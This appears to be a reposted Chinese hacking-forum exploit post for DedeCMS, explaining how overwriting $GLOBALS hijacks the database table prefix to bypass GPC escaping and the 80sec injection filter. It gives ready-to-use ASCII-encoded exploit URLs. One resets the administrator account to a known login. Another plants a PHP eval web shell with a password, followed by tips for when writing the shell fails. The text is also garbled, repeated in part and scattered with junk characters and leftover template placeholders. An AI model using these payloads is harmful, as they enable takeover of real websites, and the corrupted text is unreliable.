|
此漏洞无视gpc转义,过80sec注入防御。! a+ H" r9 T6 a( k
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
4 e# f5 |+ c j起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。4 ^( L, Y! i) m9 w
include/dedesql.class.php
8 h" D0 A+ H G6 H% F$ `/ bif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。. B* E+ I. X. r# u- M
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery29 k5 f6 w- O l4 W6 m
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
9 P T% j$ {9 e) u* V' Q" k8 [5 U. D9 kplus/download.php* G9 u4 c- b7 R
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):" o! m4 R- u6 N1 h1 ^% f/ M
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
! z1 w8 C( G r- fUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:1 ]; H7 m7 K/ ^& V7 ?
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
7 Z5 O0 ` F+ i- q/ G- p8 [) x漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。 I x* B" W. w% @* A8 }# o
如果找不到后台,参见以前修改数据库直接拿SHELL的方法9 ]; ^& H2 p! ~4 [3 r
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。7 s% K, V- [1 G ]
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
( Q. v U$ t9 i" U- u6 @. @起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
5 H( d1 J. ~ G7 j: V& \include/dedesql.class.php
- u( L! n6 b9 J1 [+ g; W( Aif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。+ U" J# [2 U+ q7 t
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
2 |, p: m3 k' x ?而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。3 Z' D4 n3 j0 p5 ?+ h7 O1 p
plus/download.php
. _+ f* s5 I* J$ [3 v; R0 Z/ Relse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):4 r! H% ?$ V: \8 f
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
7 v* I0 j7 V, I) O5 x: A B9 XUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:4 |; T$ r/ u9 a' c8 b
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
$ e# @: F+ w9 d: [漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。. T8 Y2 Y6 q( W# T+ s2 {: ]$ G
如果找不到后台,参见以前修改数据库直接拿SHELL的方法+ c, E* q& l' J- p2 t/ l
___FCKpd___6getshell:5 d6 q$ M# @- x$ H* ~
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m5 S+ ^- x( p0 b
http://127.0.0.1/plus/x.php
U0 [5 I9 k, I# D. s) d( _7 zupdate成功后还要访问下 /plus/mytag_js.php?aid=1& A, F, t: W2 [( T% |) F( U, E
失败原因:
! X# Q$ U; b+ W. o" J5 ^0 b测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)" N: v$ Z2 o2 T
配图:
+ u5 H3 D3 J' {( _% j6 Y1 K8 l, `1.查看dede当前版本
( I1 E" W7 [, h+ T& E+ r( Y% U! l2 i. i8 c5 l$ {
2.执行exp
2 v' F' W& K* Q* a( i! |1 r& Z. ^5 g
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
+ u: N; b4 X" P7 E. K3 ~6 E5 n( d6 R0 X& f
spider密码admin
$ J1 f5 N! D; D; [+ O4 Y. j7 d( N% C& j H
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png/ ]- x( t' W. f) U
原作者:imspider
* k" p( f9 V" q6 `. {, H A
8 |1 A: O. U# Q本博客测试+配图+getshell
" a, U1 G1 [" ?. Z2 JPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT ; I. M" B, y# S1 b* } g3 e6 U
6 G/ y6 w" L3 |
getshell:; ?1 V8 K$ O9 f# j% c
___FCKpd___7会在plus目录生成 x.php 密码 m. ?9 G2 W6 G3 X. O. Y8 o. `
http://127.0.0.1/plus/x.php1 J' d- L- \& s3 M
update成功后还要访问下 /plus/mytag_js.php?aid=1
5 d c6 N* d. A) \* A5 g$ E) A! f失败原因:
) e( i8 @6 y, |3 g1 b测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)% t) q; @! s) z' k- z
配图:* }) g4 a! W/ R" a9 L
1.查看dede当前版本7 q6 p& w: N9 Y& t( a% V: Z0 ~
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png( o h0 t# S" W# k- R
2.执行exp
3 B2 F! V9 b6 {http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台- b, v/ z& w, R/ c3 U
spider密码admin, Q' n e/ g" [3 n
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
. x7 T0 f( r* V: g" D U4 q3 E' x" c9 ^ 3 }& w( d0 X; T9 t6 x$ x9 _
|
|